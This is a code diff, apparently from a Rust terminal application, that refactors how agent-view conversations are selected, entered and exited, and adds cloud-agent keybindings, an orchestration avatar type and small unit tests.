// The variants below actually correspond to callsites where the selected conversation is
|
||||
// updated, but don't actually correspond to entering the agent view. They exist so we can
|
||||
// continue to call `set_pending_query_state_for_(new|existing)_conversation`, but you'll find
|
||||
@@ -257,6 +266,13 @@ impl AgentViewState {
|
||||
}
|
||||
}
|
||||
|
||||
pub fn origin(&self) -> Option<AgentViewEntryOrigin> {
|
||||
match self {
|
||||
AgentViewState::Active { origin, .. } => Some(origin.clone()),
|
||||
AgentViewState::Inactive => None,
|
||||
}
|
||||
}
|
||||
|
||||
/// Returns `true` if in an active agent view state.
|
||||
pub fn is_active(&self) -> bool {
|
||||
matches!(self, AgentViewState::Active { .. })
|
||||
@@ -334,7 +350,7 @@ const NEW_CONVERSATION_KEYBINDING_CONFIRMATION_MESSAGE_ID: &str =
|
||||
/// Controller responsible for managing and updating agent view state for a given terminal pane.
|
||||
///
|
||||
/// `AgentViewState` is stored on the terminal model but should only be updated via the APIs on
|
||||
/// this constroller, which ensures the correct events are emitted and downstream effects take
|
||||
/// this controller, which ensures the correct events are emitted and downstream effects take
|
||||
/// place.
|
||||
pub struct AgentViewController {
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
@@ -343,7 +359,6 @@ pub struct AgentViewController {
|
||||
/// Set during terminal pane attach; used for pane-group-scoped visibility checks.
|
||||
pane_group_id: Option<EntityId>,
|
||||
agent_view_state: AgentViewState,
|
||||
ambient_agent_view_model: ModelHandle<AmbientAgentViewModel>,
|
||||
ephemeral_message_model: ModelHandle<EphemeralMessageModel>,
|
||||
pending_confirmation: Option<PendingConfirmation>,
|
||||
pending_confirmation_abort_handle: Option<SpawnedFutureHandle>,
|
||||
@@ -368,16 +383,13 @@ impl AgentViewController {
|
||||
pub fn new(
|
||||
terminal_model: Arc<FairMutex<TerminalModel>>,
|
||||
terminal_view_id: EntityId,
|
||||
ambient_agent_view_model: ModelHandle<AmbientAgentViewModel>,
|
||||
ephemeral_message_model: ModelHandle<EphemeralMessageModel>,
|
||||
_ctx: &mut ModelContext<Self>,
|
||||
) -> Self {
|
||||
Self {
|
||||
terminal_model,
|
||||
terminal_view_id,
|
||||
pane_group_id: None,
|
||||
agent_view_state: AgentViewState::Inactive,
|
||||
ambient_agent_view_model,
|
||||
ephemeral_message_model,
|
||||
pending_confirmation: None,
|
||||
pending_confirmation_abort_handle: None,
|
||||
@@ -388,6 +400,11 @@ impl AgentViewController {
|
||||
self.pane_group_id
|
||||
}
|
||||
|
||||
/// Returns the [`EntityId`] of the [`TerminalView`] that owns this controller.
|
||||
pub fn terminal_view_id(&self) -> EntityId {
|
||||
self.terminal_view_id
|
||||
}
|
||||
|
||||
pub fn set_pane_group_id(&mut self, pane_group_id: EntityId) {
|
||||
self.pane_group_id = Some(pane_group_id);
|
||||
}
|
||||
@@ -408,35 +425,37 @@ impl AgentViewController {
|
||||
&self.agent_view_state
|
||||
}
|
||||
|
||||
/// Resolves the conversation adjacent to the active agent-view conversation
|
||||
/// in the canonical orchestration pill order.
|
||||
pub fn adjacent_orchestration_conversation_id(
|
||||
&self,
|
||||
direction: OrchestrationNavigationDirection,
|
||||
app: &AppContext,
|
||||
) -> Option<AIConversationId> {
|
||||
let active_conversation_id = self.agent_view_state.active_conversation_id()?;
|
||||
adjacent_orchestration_child_conversation_id(
|
||||
BlocklistAIHistoryModel::as_ref(app),
|
||||
active_conversation_id,
|
||||
direction,
|
||||
)
|
||||
}
|
||||
|
||||
/// Returns whether the user is allowed to exit agent view.
|
||||
/// This is used to determine both whether the escape key should work
|
||||
/// and whether the escape keybinding should be displayed.
|
||||
pub fn can_exit_agent_view(
|
||||
&self,
|
||||
ctx: &impl galaxyui::ModelAsRef,
|
||||
) -> Result<(), ExitAgentViewError> {
|
||||
pub fn can_exit_agent_view(&self) -> Result<(), ExitAgentViewError> {
|
||||
let model = self.terminal_model.lock();
|
||||
|
||||
let ambient_agent_model = self.ambient_agent_view_model.as_ref(ctx);
|
||||
let is_fullscreen_with_long_running = self.agent_view_state.is_fullscreen()
|
||||
&& model
|
||||
.block_list()
|
||||
.active_block()
|
||||
.is_active_and_long_running();
|
||||
|
||||
// Ambient agent sessions should not allow exiting agent view if it's not backed by a terminal session because there's nothing to escape to.
|
||||
if ambient_agent_model.is_ambient_agent() {
|
||||
if !ambient_agent_model.has_parent_terminal() {
|
||||
return Err(ExitAgentViewError::AmbientAgent);
|
||||
}
|
||||
// But if there is a terminal backing and we're in a LRC, we should be able to escape
|
||||
else if is_fullscreen_with_long_running {
|
||||
return Ok(());
|
||||
}
|
||||
}
|
||||
|
||||
// In a non-ambient agent case, users cannot exit the fullscreen agent view with an active long running command.
|
||||
if is_fullscreen_with_long_running {
|
||||
// Cloud agent panes do not have the same underlying terminal ownership
|
||||
// constraint (no local shell process), so long-running third party agent
|
||||
// commands should not trap the user in agent view.
|
||||
if is_fullscreen_with_long_running && !model.is_dummy_cloud_mode_session() {
|
||||
return Err(ExitAgentViewError::LongRunningCommand);
|
||||
}
|
||||
|
||||
@@ -569,6 +588,26 @@ impl AgentViewController {
|
||||
&mut self,
|
||||
keybinding_name: &str,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
let Some(keystroke) = keybinding_name_to_keystroke(keybinding_name, ctx) else {
|
||||
log::warn!(
|
||||
"Expected keybinding for slash command {keybinding_name}, but none was found"
|
||||
);
|
||||
return true;
|
||||
};
|
||||
|
||||
self.should_start_new_conversation_for_keystroke(keystroke, ctx)
|
||||
}
|
||||
|
||||
/// Decides whether a keybinding-triggered new conversation should proceed immediately.
|
||||
///
|
||||
/// We only require a second press when the user is already in an active, non-empty
|
||||
/// conversation. This protects against accidental conversation resets from muscle-memory
|
||||
/// keypresses, while preserving single-step behavior for explicit typed/slash-menu execution.
|
||||
pub fn should_start_new_conversation_for_keystroke(
|
||||
&mut self,
|
||||
keystroke: Keystroke,
|
||||
ctx: &mut ModelContext<Self>,
|
||||
) -> bool {
|
||||
enum Decision {
|
||||
StartNewConversation,
|
||||
@@ -596,13 +635,6 @@ impl AgentViewController {
|
||||
break 'decision Decision::StartNewConversation;
|
||||
}
|
||||
|
||||
let Some(keystroke) = keybinding_name_to_keystroke(keybinding_name, ctx) else {
|
||||
log::warn!(
|
||||
"Expected keybinding for slash command {keybinding_name}, but none was found"
|
||||
);
|
||||
break 'decision Decision::StartNewConversation;
|
||||
};
|
||||
|
||||
let normalized_keystroke = keystroke.normalized();
|
||||
if self.is_new_conversation_keybinding_confirmation_active_for(
|
||||
conversation_id,
|
||||
@@ -711,7 +743,7 @@ impl AgentViewController {
|
||||
.active_block()
|
||||
.is_active_and_long_running()
|
||||
&& !terminal_model.is_conversation_transcript_viewer()
|
||||
&& !matches!(origin, AgentViewEntryOrigin::ThirdPartyCloudAgent)
|
||||
&& !matches!(&origin, AgentViewEntryOrigin::ThirdPartyCloudAgent)
|
||||
};
|
||||
|
||||
if is_long_running {
|
||||
@@ -781,7 +813,8 @@ impl AgentViewController {
|
||||
history_model.start_new_conversation(
|
||||
self.terminal_view_id,
|
||||
false,
|
||||
matches!(origin, AgentViewEntryOrigin::CloudAgent),
|
||||
matches!(&origin, AgentViewEntryOrigin::CloudAgent),
|
||||
matches!(&origin, AgentViewEntryOrigin::ThirdPartyCloudAgent),
|
||||
ctx,
|
||||
)
|
||||
});
|
||||
@@ -793,7 +826,7 @@ impl AgentViewController {
|
||||
|
||||
self.agent_view_state = AgentViewState::Active {
|
||||
conversation_id,
|
||||
origin,
|
||||
origin: origin.clone(),
|
||||
display_mode,
|
||||
original_conversation_length: exchange_count,
|
||||
};
|
||||
@@ -802,21 +835,6 @@ impl AgentViewController {
|
||||
.block_list_mut()
|
||||
.set_agent_view_state(self.agent_view_state.clone());
|
||||
|
||||
if origin == AgentViewEntryOrigin::CloudAgent {
|
||||
// Only enter setup state if there are no existing environments.
|
||||
// If environments exist, the user should go directly to composing.
|
||||
let has_environments =
|
||||
!crate::ai::cloud_environments::CloudAmbientAgentEnvironment::get_all(ctx)
|
||||
.is_empty();
|
||||
self.ambient_agent_view_model.update(ctx, |model, ctx| {
|
||||
if has_environments {
|
||||
model.enter_composing_from_setup(ctx);
|
||||
} else {
|
||||
model.enter_setup(ctx);
|
||||
}
|
||||
});
|
||||
}
|
||||
|
||||
ctx.emit(AgentViewControllerEvent::EnteredAgentView {
|
||||
conversation_id,
|
||||
is_new: exchange_count == 0,
|
||||
@@ -882,7 +900,7 @@ impl AgentViewController {
|
||||
) {
|
||||
self.clear_new_conversation_keybinding_confirmation(ctx);
|
||||
// Check if exiting agent view is allowed.
|
||||
if self.can_exit_agent_view(ctx).is_err() {
|
||||
if self.can_exit_agent_view().is_err() {
|
||||
return;
|
||||
}
|
||||
|
||||
@@ -942,16 +960,6 @@ impl AgentViewController {
|
||||
.block_list_mut()
|
||||
.set_agent_view_state(self.agent_view_state.clone());
|
||||
|
||||
// Capture ambient agent status before resetting it
|
||||
let was_ambient_agent = self.ambient_agent_view_model.as_ref(ctx).is_ambient_agent();
|
||||
|
||||
// Reset ambient agent status when exiting agent view
|
||||
if was_ambient_agent {
|
||||
self.ambient_agent_view_model.update(ctx, |model, ctx| {
|
||||
model.reset_status(ctx);
|
||||
});
|
||||
}
|
||||
|
||||
let history_model = BlocklistAIHistoryModel::handle(ctx);
|
||||
let final_exchange_count = history_model
|
||||
.as_ref(ctx)
|
||||
@@ -959,6 +967,7 @@ impl AgentViewController {
|
||||
.map(|conversation| conversation.exchange_count())
|
||||
.unwrap_or(0);
|
||||
|
||||
let was_ambient_agent = origin == AgentViewEntryOrigin::CloudAgent;
|
||||
ctx.emit(AgentViewControllerEvent::ExitedAgentView {
|
||||
conversation_id,
|
||||
origin,
|
||||
@@ -1012,7 +1021,6 @@ fn exit_confirmation_message(
|
||||
) -> Message {
|
||||
use galaxyui::SingletonEntity;
|
||||
|
||||
use crate::terminal::input::message_bar::{Message, MessageItem};
|
||||
|
||||
let appearance = Appearance::handle(app).as_ref(app);
|
||||
|
||||
|
||||
@@ -0,0 +1,176 @@
|
||||
use warpui::{AppContext, EntityId, ModelContext, ModelHandle, SingletonEntity};
|
||||
|
||||
use super::{
|
||||
AgentViewController, AgentViewControllerEvent, AgentViewEntryOrigin, EnterAgentViewError,
|
||||
};
|
||||
use crate::ai::agent::conversation::{AIConversationAutoexecuteMode, AIConversationId};
|
||||
use crate::ai::blocklist::conversation_selection::{
|
||||
ConversationSelection, ConversationSelectionEvent,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryEvent, BlocklistAIHistoryModel};
|
||||
|
||||
/// GUI conversation selection backed unconditionally by Agent View.
|
||||
pub(crate) struct AgentViewConversationSelection {
|
||||
terminal_surface_id: EntityId,
|
||||
agent_view_controller: ModelHandle<AgentViewController>,
|
||||
}
|
||||
|
||||
impl AgentViewConversationSelection {
|
||||
/// Creates GUI conversation selection for a terminal view.
|
||||
pub(crate) fn new(
|
||||
terminal_surface_id: warpui::EntityId,
|
||||
agent_view_controller: ModelHandle<AgentViewController>,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) -> Self {
|
||||
ctx.subscribe_to_model(&agent_view_controller, |_, _, event, ctx| match event {
|
||||
AgentViewControllerEvent::EnteredAgentView {
|
||||
display_mode,
|
||||
origin,
|
||||
..
|
||||
} => {
|
||||
ctx.emit(ConversationSelectionEvent::Changed);
|
||||
ctx.emit(ConversationSelectionEvent::Activated {
|
||||
is_fullscreen: display_mode.is_fullscreen(),
|
||||
origin: origin.clone(),
|
||||
});
|
||||
}
|
||||
AgentViewControllerEvent::ExitedAgentView {
|
||||
conversation_id,
|
||||
final_exchange_count,
|
||||
is_exit_before_new_entrance,
|
||||
..
|
||||
} => {
|
||||
ctx.emit(ConversationSelectionEvent::Changed);
|
||||
ctx.emit(ConversationSelectionEvent::Deactivated {
|
||||
conversation_id: *conversation_id,
|
||||
final_exchange_count: *final_exchange_count,
|
||||
is_exit_before_new_entrance: *is_exit_before_new_entrance,
|
||||
});
|
||||
}
|
||||
AgentViewControllerEvent::ExitConfirmed { .. } => {}
|
||||
});
|
||||
ctx.subscribe_to_model(
|
||||
&BlocklistAIHistoryModel::handle(ctx),
|
||||
|selection, _, event, ctx| selection.handle_history_event(event, ctx),
|
||||
);
|
||||
Self {
|
||||
terminal_surface_id,
|
||||
agent_view_controller,
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
impl ConversationSelection for AgentViewConversationSelection {
|
||||
fn selected_conversation_id(&self, app: &AppContext) -> Option<AIConversationId> {
|
||||
self.agent_view_controller
|
||||
.as_ref(app)
|
||||
.agent_view_state()
|
||||
.active_conversation_id()
|
||||
}
|
||||
|
||||
fn is_conversation_active(&self, app: &AppContext) -> bool {
|
||||
self.agent_view_controller.as_ref(app).is_active()
|
||||
}
|
||||
|
||||
fn is_conversation_fullscreen(&self, app: &AppContext) -> bool {
|
||||
self.agent_view_controller.as_ref(app).is_fullscreen()
|
||||
}
|
||||
|
||||
fn select_existing_conversation(
|
||||
&mut self,
|
||||
conversation_id: AIConversationId,
|
||||
origin: AgentViewEntryOrigin,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) {
|
||||
if let Err(error) = self.agent_view_controller.update(ctx, |controller, ctx| {
|
||||
controller.try_enter_agent_view(Some(conversation_id), origin, ctx)
|
||||
}) {
|
||||
log::error!("Failed to enter agent view for existing conversation: {error}");
|
||||
}
|
||||
}
|
||||
|
||||
fn select_new_conversation(
|
||||
&mut self,
|
||||
origin: AgentViewEntryOrigin,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) {
|
||||
if let Err(error) = self.agent_view_controller.update(ctx, |controller, ctx| {
|
||||
controller.try_enter_agent_view(None, origin, ctx)
|
||||
}) {
|
||||
log::error!("Failed to enter agent view for new conversation: {error}");
|
||||
}
|
||||
}
|
||||
|
||||
fn try_start_new_conversation(
|
||||
&mut self,
|
||||
origin: AgentViewEntryOrigin,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) -> Result<AIConversationId, EnterAgentViewError> {
|
||||
self.agent_view_controller.update(ctx, |controller, ctx| {
|
||||
controller.try_enter_agent_view(None, origin, ctx)
|
||||
})
|
||||
}
|
||||
|
||||
fn pending_query_autoexecute_override(
|
||||
&self,
|
||||
app: &AppContext,
|
||||
) -> AIConversationAutoexecuteMode {
|
||||
self.selected_conversation_id(app)
|
||||
.as_ref()
|
||||
.and_then(|conversation_id| {
|
||||
BlocklistAIHistoryModel::as_ref(app).conversation(conversation_id)
|
||||
})
|
||||
.map(|conversation| conversation.autoexecute_override())
|
||||
.unwrap_or_default()
|
||||
}
|
||||
|
||||
fn toggle_pending_query_autoexecute(
|
||||
&mut self,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) {
|
||||
if let Some(conversation_id) = self.selected_conversation_id(ctx) {
|
||||
BlocklistAIHistoryModel::handle(ctx).update(ctx, |history, ctx| {
|
||||
history.toggle_autoexecute_override(
|
||||
&conversation_id,
|
||||
self.terminal_surface_id,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
}
|
||||
}
|
||||
|
||||
fn handle_history_event(
|
||||
&mut self,
|
||||
event: &BlocklistAIHistoryEvent,
|
||||
ctx: &mut ModelContext<Box<dyn ConversationSelection>>,
|
||||
) {
|
||||
if event
|
||||
.terminal_surface_id()
|
||||
.is_some_and(|id| id != self.terminal_surface_id)
|
||||
{
|
||||
return;
|
||||
}
|
||||
match event {
|
||||
BlocklistAIHistoryEvent::ClearedConversationsForTerminalSurface { .. } => {
|
||||
self.agent_view_controller
|
||||
.update(ctx, |controller, ctx| controller.exit_agent_view(ctx));
|
||||
}
|
||||
BlocklistAIHistoryEvent::SplitConversation {
|
||||
old_conversation_id,
|
||||
new_conversation_id,
|
||||
..
|
||||
} if self.selected_conversation_id(ctx) == Some(*old_conversation_id) => {
|
||||
self.select_existing_conversation(
|
||||
*new_conversation_id,
|
||||
AgentViewEntryOrigin::AgentRequestedNewConversation,
|
||||
ctx,
|
||||
);
|
||||
}
|
||||
_ => {}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "conversation_selection_tests.rs"]
|
||||
mod tests;
|
||||
@@ -0,0 +1,68 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use parking_lot::FairMutex;
|
||||
use warpui::r#async::executor::Background;
|
||||
use warpui::{App, EntityId};
|
||||
|
||||
use super::AgentViewConversationSelection;
|
||||
use crate::ai::blocklist::agent_view::{
|
||||
AgentViewController, AgentViewEntryOrigin, EphemeralMessageModel,
|
||||
};
|
||||
use crate::ai::blocklist::{BlocklistAIHistoryModel, ConversationSelection};
|
||||
use crate::terminal::color::{self, Colors};
|
||||
use crate::terminal::event_listener::ChannelEventListener;
|
||||
use crate::terminal::model::test_utils::block_size;
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::test_util::settings::initialize_settings_for_tests;
|
||||
|
||||
#[test]
|
||||
fn gui_selection_delegates_to_agent_view() {
|
||||
App::test((), |mut app| async move {
|
||||
initialize_settings_for_tests(&mut app);
|
||||
let history = app.add_singleton_model(|_| BlocklistAIHistoryModel::new_for_test());
|
||||
let terminal_surface_id = EntityId::new();
|
||||
let terminal_model = Arc::new(FairMutex::new(TerminalModel::new_for_test(
|
||||
block_size(),
|
||||
color::List::from(&Colors::default()),
|
||||
ChannelEventListener::new_for_test(),
|
||||
Arc::new(Background::default()),
|
||||
false,
|
||||
None,
|
||||
false,
|
||||
false,
|
||||
None,
|
||||
)));
|
||||
let ephemeral_message_model = app.add_model(|_| EphemeralMessageModel::new());
|
||||
let agent_view_controller = app.add_model(|_| {
|
||||
AgentViewController::new(terminal_model, terminal_surface_id, ephemeral_message_model)
|
||||
});
|
||||
let selection = app.add_model(|ctx| {
|
||||
Box::new(AgentViewConversationSelection::new(
|
||||
terminal_surface_id,
|
||||
agent_view_controller.clone(),
|
||||
ctx,
|
||||
)) as Box<dyn ConversationSelection>
|
||||
});
|
||||
let conversation_id = history.update(&mut app, |history, ctx| {
|
||||
history.start_new_conversation(terminal_surface_id, false, false, false, ctx)
|
||||
});
|
||||
|
||||
selection.update(&mut app, |selection, ctx| {
|
||||
selection.select_existing_conversation(
|
||||
conversation_id,
|
||||
AgentViewEntryOrigin::ConversationSelector,
|
||||
ctx,
|
||||
);
|
||||
});
|
||||
|
||||
selection.read(&app, |selection, ctx| {
|
||||
assert_eq!(
|
||||
selection.selected_conversation_id(ctx),
|
||||
Some(conversation_id)
|
||||
);
|
||||
});
|
||||
agent_view_controller.read(&app, |controller, _| {
|
||||
assert!(controller.is_active());
|
||||
});
|
||||
});
|
||||
}
|
||||
@@ -4,9 +4,8 @@ use std::time::Duration;
|
||||
use galaxyui::r#async::SpawnedFutureHandle;
|
||||
use galaxyui::{Entity, ModelContext};
|
||||
|
||||
use crate::terminal::input::message_bar::{Message, MessageProvider};
|
||||
|
||||
use super::agent_message_bar::AgentMessageArgs;
|
||||
use crate::terminal::input::message_bar::{Message, MessageProvider};
|
||||
|
||||
const DEFAULT_MESSAGE_DURATION: Duration = Duration::from_millis(1500);
|
||||
|
||||
|
||||
@@ -1,25 +1,23 @@
|
||||
use std::sync::Arc;
|
||||
|
||||
use ai::agent::action::{AIAgentActionType, ShellCommandDelay};
|
||||
use parking_lot::FairMutex;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxyui::elements::{CornerRadius, Radius};
|
||||
use galaxyui::{
|
||||
elements::{CornerRadius, Radius},
|
||||
AppContext, Element, Entity, EntityId, ModelHandle, SingletonEntity, View, ViewContext,
|
||||
};
|
||||
use parking_lot::FairMutex;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::icons,
|
||||
blocklist::{
|
||||
block::cli_controller::LongRunningCommandControlState,
|
||||
inline_action::inline_action_header::HeaderConfig, BlocklistAIActionModel,
|
||||
BlocklistAIHistoryEvent, BlocklistAIHistoryModel,
|
||||
},
|
||||
},
|
||||
terminal::{model::session::Sessions, TerminalModel},
|
||||
ui_components::{blended_colors, icons::Icon},
|
||||
use crate::ai::agent::icons;
|
||||
use crate::ai::blocklist::block::cli_controller::LongRunningCommandControlState;
|
||||
use crate::ai::blocklist::inline_action::inline_action_header::HeaderConfig;
|
||||
use crate::ai::blocklist::{
|
||||
BlocklistAIActionModel, BlocklistAIHistoryEvent, BlocklistAIHistoryModel,
|
||||
};
|
||||
use crate::terminal::model::session::Sessions;
|
||||
use crate::terminal::TerminalModel;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
|
||||
const AGENT_PROMPT_TO_INTERACT_MESSAGE: &str = "Prompt agent to interact with";
|
||||
const AGENT_WAITING_ON_INSTRUCTIONS_MESSAGE: &str = "Agent is waiting on instructions";
|
||||
@@ -47,7 +45,7 @@ impl InlineAgentViewHeader {
|
||||
let history_model = BlocklistAIHistoryModel::handle(ctx);
|
||||
ctx.subscribe_to_model(&history_model, move |me, _, event, ctx| {
|
||||
if event
|
||||
.terminal_view_id()
|
||||
.terminal_surface_id()
|
||||
.is_some_and(|id| id != me.terminal_view_id)
|
||||
{
|
||||
return;
|
||||
|
||||
@@ -1,33 +1,39 @@
|
||||
pub(crate) mod agent_input_footer;
|
||||
mod agent_message_bar;
|
||||
mod agent_view_block;
|
||||
pub mod child_agent_status_card;
|
||||
mod controller;
|
||||
mod conversation_selection;
|
||||
mod ephemeral_message_model;
|
||||
mod inline_agent_view_header;
|
||||
// TODO: Move orchestration_conversation_links module import elsewhere.
|
||||
pub(crate) mod orchestration_avatar;
|
||||
pub(crate) mod orchestration_conversation_links;
|
||||
pub mod orchestration_pill_bar;
|
||||
pub mod orchestration_pill_bar_model;
|
||||
pub mod shortcuts;
|
||||
pub(crate) mod subagent_inline_panel;
|
||||
mod zero_state_block;
|
||||
|
||||
use std::sync::LazyLock;
|
||||
|
||||
pub use agent_input_footer::*;
|
||||
pub use agent_message_bar::*;
|
||||
pub use agent_view_block::*;
|
||||
pub use controller::*;
|
||||
pub(crate) use conversation_selection::AgentViewConversationSelection;
|
||||
pub use ephemeral_message_model::*;
|
||||
use galaxyui::fonts::Properties;
|
||||
pub use inline_agent_view_header::*;
|
||||
pub use zero_state_block::*;
|
||||
|
||||
use std::sync::LazyLock;
|
||||
|
||||
pub use orchestration_pill_bar::{render_orchestration_breadcrumbs, OrchestrationPillBar};
|
||||
use pathfinder_color::ColorU;
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::color::blend::Blend;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxy_core::ui::{appearance::Appearance, color::blend::Blend};
|
||||
use galaxyui::keymap::Keystroke;
|
||||
use galaxyui::{AppContext, SingletonEntity};
|
||||
use pathfinder_color::ColorU;
|
||||
pub use zero_state_block::*;
|
||||
|
||||
use crate::terminal::model::TerminalModel;
|
||||
use crate::view_components::action_button::ActionButtonTheme;
|
||||
|
||||
pub static ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE: LazyLock<Keystroke> = LazyLock::new(|| {
|
||||
@@ -49,6 +55,45 @@ pub static ENTER_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE: LazyLock<Keystroke> = La
|
||||
}
|
||||
});
|
||||
|
||||
pub static ENTER_CLOUD_AGENT_VIEW_NEW_CONVERSATION_KEYSTROKE: LazyLock<Keystroke> =
|
||||
LazyLock::new(|| {
|
||||
cfg_if::cfg_if! {
|
||||
if #[cfg(target_os = "macos")] {
|
||||
Keystroke {
|
||||
cmd: true,
|
||||
alt: true,
|
||||
key: "enter".to_owned(),
|
||||
..Default::default()
|
||||
}
|
||||
} else {
|
||||
Keystroke {
|
||||
ctrl: true,
|
||||
alt: true,
|
||||
key: "enter".to_owned(),
|
||||
..Default::default()
|
||||
}
|
||||
}
|
||||
}
|
||||
});
|
||||
|
||||
/// Returns `true` when the current pane is in a cloud or remote context.
|
||||
pub fn is_in_cloud_context(
|
||||
agent_view_state: &AgentViewState,
|
||||
terminal_model: &TerminalModel,
|
||||
) -> bool {
|
||||
let origin_is_cloud = matches!(
|
||||
agent_view_state,
|
||||
AgentViewState::Active { origin, .. }
|
||||
if matches!(
|
||||
origin,
|
||||
AgentViewEntryOrigin::CloudAgent | AgentViewEntryOrigin::ThirdPartyCloudAgent
|
||||
)
|
||||
);
|
||||
origin_is_cloud
|
||||
|| terminal_model.is_conversation_transcript_viewer()
|
||||
|| terminal_model.is_dummy_cloud_mode_session()
|
||||
}
|
||||
|
||||
pub fn agent_view_bg_fill(app: &AppContext) -> Fill {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
appearance.theme().surface_overlay_1()
|
||||
|
||||
@@ -0,0 +1,41 @@
|
||||
use warpui::elements::Element;
|
||||
use warpui::{AppContext, SingletonEntity};
|
||||
|
||||
use crate::ai::blocklist::agent_view::orchestration_pill_bar::{
|
||||
render_agent_avatar_disc, render_orchestrator_avatar_disc,
|
||||
};
|
||||
use crate::appearance::Appearance;
|
||||
|
||||
const TRANSCRIPT_AVATAR_SCALE: f32 = 1.25;
|
||||
|
||||
#[derive(Clone, Debug, Eq, PartialEq)]
|
||||
pub(crate) enum OrchestrationAvatar {
|
||||
Orchestrator,
|
||||
Agent { display_name: String },
|
||||
}
|
||||
|
||||
impl OrchestrationAvatar {
|
||||
pub(crate) fn agent(display_name: String) -> Self {
|
||||
Self::Agent { display_name }
|
||||
}
|
||||
|
||||
pub(crate) fn render(&self, app: &AppContext) -> Box<dyn Element> {
|
||||
let appearance = Appearance::as_ref(app);
|
||||
let theme = appearance.theme();
|
||||
let size = app.font_cache().line_height(
|
||||
appearance.monospace_font_size(),
|
||||
appearance.line_height_ratio(),
|
||||
) * TRANSCRIPT_AVATAR_SCALE;
|
||||
|
||||
match self {
|
||||
Self::Orchestrator => render_orchestrator_avatar_disc(size, theme, appearance),
|
||||
Self::Agent { display_name } => {
|
||||
render_agent_avatar_disc(display_name, size, theme, appearance)
|
||||
}
|
||||
}
|
||||
}
|
||||
}
|
||||
|
||||
#[cfg(test)]
|
||||
#[path = "orchestration_avatar_tests.rs"]
|
||||
mod tests;
|
||||
@@ -0,0 +1,11 @@
|
||||
use super::OrchestrationAvatar;
|
||||
|
||||
#[test]
|
||||
fn agent_avatar_identity_is_display_name_based_for_pill_consistency() {
|
||||
assert_eq!(
|
||||
OrchestrationAvatar::agent("Agent 1".to_string()),
|
||||
OrchestrationAvatar::Agent {
|
||||
display_name: "Agent 1".to_string(),
|
||||
}
|
||||
);
|
||||
}
|
||||
@@ -1,30 +1,28 @@
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxyui::{
|
||||
elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Expanded, Flex,
|
||||
Hoverable, MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
},
|
||||
fonts::{Properties, Weight::Bold},
|
||||
platform::Cursor,
|
||||
text_layout::ClipConfig,
|
||||
AppContext, Element, EventContext, SingletonEntity,
|
||||
};
|
||||
use pathfinder_color::ColorU;
|
||||
use pathfinder_geometry::vector::Vector2F;
|
||||
|
||||
use crate::{
|
||||
ai::{
|
||||
agent::{
|
||||
api::ServerConversationToken,
|
||||
conversation::{AIConversation, AIConversationId},
|
||||
},
|
||||
agent_conversations_model::AgentConversationsModel,
|
||||
blocklist::BlocklistAIHistoryModel,
|
||||
},
|
||||
ui_components::{blended_colors, icons::Icon},
|
||||
workspace::{RestoreConversationLayout, WorkspaceAction},
|
||||
use galaxy_core::ui::appearance::Appearance;
|
||||
use galaxy_core::ui::theme::Fill;
|
||||
use galaxyui::elements::{
|
||||
ConstrainedBox, Container, CornerRadius, CrossAxisAlignment, Empty, Expanded, Flex, Hoverable,
|
||||
MainAxisSize, MouseStateHandle, ParentElement, Radius, Shrinkable, Text,
|
||||
};
|
||||
use galaxyui::fonts::Properties;
|
||||
use galaxyui::fonts::Weight::Bold;
|
||||
use galaxyui::platform::Cursor;
|
||||
use galaxyui::text_layout::ClipConfig;
|
||||
use galaxyui::{AppContext, Element, EntityId, EventContext, SingletonEntity};
|
||||
|
||||
use crate::ai::agent::api::ServerConversationToken;
|
||||
use crate::ai::agent::conversation::{AIConversation, AIConversationId};
|
||||
use crate::ai::agent_conversations_model::entry::AgentConversationEntryId;
|
||||
use crate::ai::agent_conversations_model::{
|
||||
AgentConversationNavigationSubject, AgentConversationsModel,
|
||||
};
|
||||
use crate::ai::blocklist::BlocklistAIHistoryModel;
|
||||
use crate::terminal::view::TerminalAction;
|
||||
use crate::ui_components::blended_colors;
|
||||
use crate::ui_components::icons::Icon;
|
||||
use crate::workspace::{RestoreConversationLayout, WorkspaceAction, WorkspaceRegistry};
|
||||
|
||||
pub(crate) fn conversation_id_for_agent_id(
|
||||
agent_id: &str,
|
||||
@@ -40,6 +38,79 @@ pub(crate) fn conversation_id_for_agent_id(
|
||||
})
|
||||
}
|
||||
|
||||
/// True if the conversation is open in some other visible pane. Hidden
|
||||
/// child-agent panes are excluded so unopened children don't look
|
||||
/// "already open".
|
||||
pub(crate) fn is_conversation_open_in_other_visible_view(
|
||||
conversation_id: AIConversationId,
|
||||
self_terminal_view_id: EntityId,
|
||||
app: &AppContext,
|
||||
) -> bool {
|
||||
let Some(owner) =
|
||||
BlocklistAIHistoryModel::as_ref(app).terminal_surface_id_for_conversation(&conversation_id)
|
||||
else {
|
||||
return false;
|
||||
};
|
||||
if owner == self_terminal_view_id {
|
||||
return false;
|
||||
}
|
||||
